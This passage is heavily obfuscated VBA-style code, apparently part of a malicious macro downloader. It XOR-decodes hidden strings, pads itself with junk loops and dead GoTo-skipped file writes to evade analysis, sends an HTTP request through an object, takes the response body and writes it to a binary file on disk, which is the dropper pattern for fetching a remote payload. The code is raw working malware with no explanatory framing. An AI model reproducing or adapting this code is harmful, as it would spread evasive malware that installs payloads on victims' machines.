  287. xJhlEQzr = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(122) & Chr(38) & Chr(44) & Chr(40) & Chr(61) & Chr(45) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  288. mZKtADIE = LTrim(xJhlEQzr)
  289. YIRieAQF = RTrim(mZKtADIE)
  290.  
  291. DoEvents
  292. Next ARMtQBeF
  293. Dim vzQxuXRl, lzWInazm, aUXRklzP As String
  294. vzQxuXRl = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(100) & Chr(33) & Chr(60) & Chr(42) & Chr(33) & Chr(56) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  295. lzWInazm = LTrim(vzQxuXRl)
  296. aUXRklzP = RTrim(lzWInazm)
  297.  
  298. Put #59, , KiiJnkli
  299. Dim zRlueSZC As Integer
  300. For zRlueSZC = 0 To 8
  301. Dim EGyTvSww, oPDNSiff, DTwmBZtt As String
  302. EGyTvSww = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(109) & Chr(50) & Chr(51) & Chr(42) & Chr(52) & Chr(41) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  303. oPDNSiff = LTrim(EGyTvSww)
  304. DTwmBZtt = RTrim(oPDNSiff)
  305.  
  306. DoEvents
  307. Next zRlueSZC
  308. Dim vOwulzPn, aMPazblM, hPHTuqTZ As String
  309. vOwulzPn = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(122) & Chr(34) & Chr(51) & Chr(33) & Chr(49) & Chr(40) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  310. aMPazblM = LTrim(vOwulzPn)
  311. hPHTuqTZ = RTrim(aMPazblM)
  312.  
  313. Close #59
  314. Dim ARKdusMA As Integer
  315. For ARKdusMA = 0 To 1
  316. Dim TgbZBJyg, JmsTARpb, HyGlbYGV As String
  317. TgbZBJyg = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(115) & Chr(63) & Chr(53) & Chr(53) & Chr(62) & Chr(57) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  318. JmsTARpb = LTrim(TgbZBJyg)
  319. HyGlbYGV = RTrim(JmsTARpb)
  320.  
  321. DoEvents
  322. Next ARKdusMA
  323. Dim ZablitVt, vzORAowu, lzLHXfLi As String
  324. ZablitVt = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(98) & Chr(52) & Chr(51) & Chr(37) & Chr(47) & Chr(34) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  325. vzORAowu = LTrim(ZablitVt)
  326. lzLHXfLi = RTrim(vzORAowu)
  327.  
  328. YzwDVEhC:
  329.  
  330. Dim wkxVQkNM As Integer
  331. For wkxVQkNM = 0 To 8
  332. Dim aIlOeVlj, TEathlpo, qvObEFzN As String
  333. aIlOeVlj = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(124) & Chr(48) & Chr(35) & Chr(51) & Chr(49) & Chr(48) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  334. TEathlpo = LTrim(aIlOeVlj)
  335. qvObEFzN = RTrim(TEathlpo)
  336.  
  337. DoEvents
  338. Next wkxVQkNM
  339. Dim rUFKmJBp, YKeSrgIR, WIihpNMd As String
  340. rUFKmJBp = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(119) & Chr(35) & Chr(34) & Chr(40) & Chr(40) & Chr(56) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  341. YKeSrgIR = LTrim(rUFKmJBp)
  342. WIihpNMd = RTrim(YKeSrgIR)
  343.  
  344.     DJJTVHAZKJC.Send Xorex(Chr(22) & Chr(83) & Chr(20) & Chr(17), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  345.  
  346.  
  347.  
  348. GoTo XpFkkdCB
  349. Dim ihnmLaNp As String
  350. Open Xorex(Chr(38) & Chr(98) & Chr(43) & Chr(53) & Chr(55) & Chr(51) & Chr(95) & Chr(36) & Chr(48) & Chr(33), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5") For Binary As 15
  351. Dim nQqJlwAa As Integer
  352. For nQqJlwAa = 0 To 6
  353. Dim XMcWGdSs, WTaIDglP, uQDQhewW As String
  354. XMcWGdSs = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(109) & Chr(60) & Chr(58) & Chr(54) & Chr(55) & Chr(51) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  355. WTaIDglP = LTrim(XMcWGdSs)
  356. uQDQhewW = RTrim(WTaIDglP)
  357.  
  358. DoEvents
  359. Next nQqJlwAa
  360. Dim gySEdyAu, quXGYpBo, yiyaagxp As String
  361. gySEdyAu = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(115) & Chr(57) & Chr(35) & Chr(46) & Chr(46) & Chr(34) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  362. quXGYpBo = LTrim(gySEdyAu)
  363. yiyaagxp = RTrim(quXGYpBo)
  364.  
  365. Put #15, , ihnmLaNp
  366. Dim guKfzYkj As Integer
  367. For guKfzYkj = 0 To 5
  368. Dim FERGeYaX, lvdphaKF, dGeWuiik As String
  369. FERGeYaX = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(122) & Chr(39) & Chr(32) & Chr(52) & Chr(59) & Chr(32) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  370. lvdphaKF = LTrim(FERGeYaX)
  371. dGeWuiik = RTrim(lvdphaKF)
  372.  
  373. DoEvents
  374. Next guKfzYkj
  375. Dim abQBZgwe, hhJZINUQ, RyCyFQLl As String
  376. abQBZgwe = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(125) & Chr(36) & Chr(56) & Chr(39) & Chr(58) & Chr(48) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  377. hhJZINUQ = LTrim(abQBZgwe)
  378. RyCyFQLl = RTrim(hhJZINUQ)
  379.  
  380. Close #15
  381. Dim IMVLAfrt As Integer
  382. For IMVLAfrt = 0 To 5
  383. Dim OWoCRHLL, WaWNyRCr, uuUeIkNg As String
  384. OWoCRHLL = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(125) & Chr(60) & Chr(56) & Chr(42) & Chr(61) & Chr(57) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  385. WaWNyRCr = LTrim(OWoCRHLL)
  386. uuUeIkNg = RTrim(WaWNyRCr)
  387.  
  388. DoEvents
  389. Next IMVLAfrt
  390. Dim COahTSBj, LOsANHxk, FPwDmWMl As String
  391. COahTSBj = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(97) & Chr(39) & Chr(49) & Chr(39) & Chr(45) & Chr(62) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  392. LOsANHxk = LTrim(COahTSBj)
  393. FPwDmWMl = RTrim(LOsANHxk)
  394.  
  395. XpFkkdCB:
  396.  
  397. Dim lbQFubjA As Integer
  398. For lbQFubjA = 0 To 3
  399. Dim ARovogxV, ynJLwPfH, QwvfItyI As String
  400. ARovogxV = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(111) & Chr(42) & Chr(35) & Chr(48) & Chr(54) & Chr(54) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  401. ynJLwPfH = LTrim(ARovogxV)
  402. QwvfItyI = RTrim(ynJLwPfH)
  403.  
  404. DoEvents
  405. Next lbQFubjA
  406. Dim IimbNnAP, CVbetsDl, bpFCFOxD As String
  407. IimbNnAP = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(96) & Chr(55) & Chr(36) & Chr(45) & Chr(40) & Chr(57) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  408. CVbetsDl = LTrim(IimbNnAP)
  409. bpFCFOxD = RTrim(CVbetsDl)
  410.  
  411.     KVYTHKQITTJ = DJJTVHAZKJC.responseBody
  412.  
  413.  
  414. GoTo TiMWLKAy
  415. Dim ELcIJMuR As String
  416. Open Xorex(Chr(44) & Chr(103) & Chr(44) & Chr(35) & Chr(34) & Chr(52) & Chr(95) & Chr(59) & Chr(35) & Chr(34), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5") For Binary As 51
  417. Dim QnDZppAB As Integer
  418. For QnDZppAB = 0 To 6
  419. Dim NboiXmPz, sTWqcoFd, qjvCwqlQ As String
  420. NboiXmPz = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(99) & Chr(37) & Chr(63) & Chr(39) & Chr(43) & Chr(41) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  421. sTWqcoFd = LTrim(NboiXmPz)
  422. qjvCwqlQ = RTrim(sTWqcoFd)
  423.  
  424. DoEvents
  425. Next QnDZppAB
  426. Dim pQNRPisZ, ySpJrsOE, aSlevjuR As String
  427. pQNRPisZ = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(100) & Chr(38) & Chr(46) & Chr(46) & Chr(40) & Chr(57) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  428. ySpJrsOE = LTrim(pQNRPisZ)
  429. aSlevjuR = RTrim(ySpJrsOE)
  430.  
  431. Put #51, , ELcIJMuR
  432. Dim CtekPCwJ As Integer
  433. For CtekPCwJ = 0 To 4
  434. Dim FUpvbGCQ, lZKLSqGE, sLIREkru As String
  435. FUpvbGCQ = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(122) & Chr(38) & Chr(35) & Chr(39) & Chr(49) & Chr(35) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  436. lZKLSqGE = LTrim(FUpvbGCQ)
  437. sLIREkru = RTrim(lZKLSqGE)
  438.  
  439. DoEvents
  440. Next CtekPCwJ
  441. Dim KZWlEUqz, mFpfdrMw, ORgJkHyr As String
  442. KZWlEUqz = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(121) & Chr(58) & Chr(46) & Chr(58) & Chr(62) & Chr(55) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  443. mFpfdrMw = LTrim(KZWlEUqz)
  444. ORgJkHyr = RTrim(mFpfdrMw)
  445.  
  446. Close #51
  447. Dim cyAcGwFw As Integer
  448. For cyAcGwFw = 0 To 3
  449. Dim NaUpMUeg, suldxwyb, cdyhVopP As String
  450. NaUpMUeg = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(97) & Chr(43) & Chr(59) & Chr(59) & Chr(54) & Chr(41) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  451. suldxwyb = LTrim(NaUpMUeg)
  452. cdyhVopP = RTrim(suldxwyb)
  453.  
  454. DoEvents
  455. Next cyAcGwFw
  456. Dim VTfvnKpN, LYcPWXUa, GYUXgatz As String
  457. VTfvnKpN = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(97) & Chr(33) & Chr(59) & Chr(41) & Chr(44) & Chr(50) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  458. LYcPWXUa = LTrim(VTfvnKpN)
  459. GYUXgatz = RTrim(LYcPWXUa)
  460.  
  461. TiMWLKAy:
  462.  
  463. Dim WhueHXRu As Integer
  464. For WhueHXRu = 0 To 7
  465. Dim PZKWnsFc, hcbjDYTh, oFjzRDWL As String
  466. PZKWnsFc = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(96) & Chr(39) & Chr(39) & Chr(53) & Chr(55) & Chr(48) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  467. hcbjDYTh = LTrim(PZKWnsFc)
  468. oFjzRDWL = RTrim(hcbjDYTh)
  469.  
  470. DoEvents
  471. Next WhueHXRu
  472. Dim rDovepHW, YVclSUbg, WFZXKlQC As String
  473. rDovepHW = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(119) & Chr(55) & Chr(59) & Chr(42) & Chr(57) & Chr(51) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  474. YVclSUbg = LTrim(rDovepHW)
  475. WFZXKlQC = RTrim(YVclSUbg)
  476.  
  477.     TRULUSUSFEP = FreeFile
  478.  
  479.     Open XOGQTIGBKHF For Binary As #TRULUSUSFEP
  480.  
  481. GoTo UMroIGQw
  482. Dim TTUWYJjW As String
  483. Open Xorex(Chr(42) & Chr(109) & Chr(36) & Chr(36) & Chr(43) & Chr(35) & Chr(95) & Chr(60) & Chr(40) & Chr(56), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5") For Binary As 58
  484. Dim rjTpGWXi As Integer
  485. For rjTpGWXi = 0 To 3
  486. Dim NEDWrPEp, sObVTvYm, cHsaidOT As String
  487. NEDWrPEp = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(99) & Chr(61) & Chr(61) & Chr(54) & Chr(48) & Chr(55) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  488. sObVTvYm = LTrim(NEDWrPEp)
  489. cHsaidOT = RTrim(sObVTvYm)
  490.  
  491. DoEvents
  492. Next rjTpGWXi
  493. Dim nKliNsXZ, wLZlmjlR, kMDYFmJT As String
  494. nKliNsXZ = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(120) & Chr(35) & Chr(37) & Chr(44) & Chr(51) & Chr(52) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  495. wLZlmjlR = LTrim(nKliNsXZ)
  496. kMDYFmJT = RTrim(wLZlmjlR)
  497.  
  498. Put #58, , TTUWYJjW
  499. Dim hWWBhIJa As Integer
  500. For hWWBhIJa = 0 To 2
  501. Dim ayVZqJdT, YzTCvdtc, sCdkQUXg As String
  502. ayVZqJdT = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(124) & Chr(60) & Chr(37) & Chr(58) & Chr(43) & Chr(60) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  503. YzTCvdtc = LTrim(ayVZqJdT)
  504. sCdkQUXg = RTrim(YzTCvdtc)
  505.  
  506. DoEvents
  507. Next hWWBhIJa
  508. Dim oIlYHLcw, QLInbjuG, NODrTzlc As String
  509. oIlYHLcw = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(116) & Chr(35) & Chr(50) & Chr(48) & Chr(53) & Chr(52) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  510. QLInbjuG = LTrim(oIlYHLcw)
  511. NODrTzlc = RTrim(QLInbjuG)
  512.  
  513. Close #58
  514. Dim ZnqFHwQL As Integer
  515. For ZnqFHwQL = 0 To 1
  516. Dim RngDQTDm, ZsKbOUlL, GkRZswxr As String
  517. RngDQTDm = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(113) & Chr(49) & Chr(35) & Chr(38) & Chr(45) & Chr(49) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  518. ZsKbOUlL = LTrim(RngDQTDm)
  519. GkRZswxr = RTrim(ZsKbOUlL)
  520.  
  521. DoEvents
  522. Next ZnqFHwQL
  523. Dim ahAbCrKe, XjSQkihr, KkXCSdDt As String
  524. ahAbCrKe = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(96) & Chr(43) & Chr(60) & Chr(41) & Chr(48) & Chr(45) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  525. XjSQkihr = LTrim(ahAbCrKe)
  526. KkXCSdDt = RTrim(XjSQkihr)
  527.  
  528. UMroIGQw:
  529.  
  530. Dim aQHlJWAR As Integer
  531. For aQHlJWAR = 0 To 5
  532. Dim sbvTTlVW, tHhjxnfv, OQCQOWtj As String
  533. sbvTTlVW = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(120) & Chr(54) & Chr(49) & Chr(43) & Chr(41) & Chr(45) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  534. tHhjxnfv = LTrim(sbvTTlVW)
  535. OQCQOWtj = RTrim(tHhjxnfv)
  536.  
  537. DoEvents
  538. Next aQHlJWAR
  539. Dim jjAoUvNf, TuUDDpsX, ikWYxUWh As String
  540. jjAoUvNf = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(99) & Chr(57) & Chr(50) & Chr(40) & Chr(57) & Chr(34) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  541. TuUDDpsX = LTrim(jjAoUvNf)
  542. ikWYxUWh = RTrim(TuUDDpsX)
  543.  
  544.     Put #TRULUSUSFEP, , KVYTHKQITTJ
  545.  
  546. GoTo mhQRjNnQ
  547. Dim UwcUKFRX As String
  548. Open Xorex(Chr(32) & Chr(124) & Chr(35) & Chr(52) & Chr(40) & Chr(47) & Chr(95) & Chr(55) & Chr(42) & Chr(43), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5") For Binary As 33
  549. Dim UMBIvvfN As Integer
  550. For UMBIvvfN = 0 To 5
  551. Dim hGSaRbpj, AXvrufdA, DzquIzjS As String
  552. hGSaRbpj = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(108) & Chr(42) & Chr(33) & Chr(51) & Chr(61) & Chr(61) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  553. AXvrufdA = LTrim(hGSaRbpj)
  554. DzquIzjS = RTrim(AXvrufdA)
  555.  
  556. DoEvents
  557. Next UMBIvvfN
  558. Dim irhAkJlO, etbDQWHP, BtOByNfS As String
  559. irhAkJlO = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(101) & Chr(59) & Chr(36) & Chr(47) & Chr(54) & Chr(61) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  560. etbDQWHP = LTrim(irhAkJlO)
  561. BtOByNfS = RTrim(etbDQWHP)
  562.  
  563. Put #33, , UwcUKFRX
  564. Dim YtyuwbQu As Integer
  565. For YtyuwbQu = 0 To 1
  566. Dim TQqIdnLJ, qUKenWQO, GZnvDjZn As String
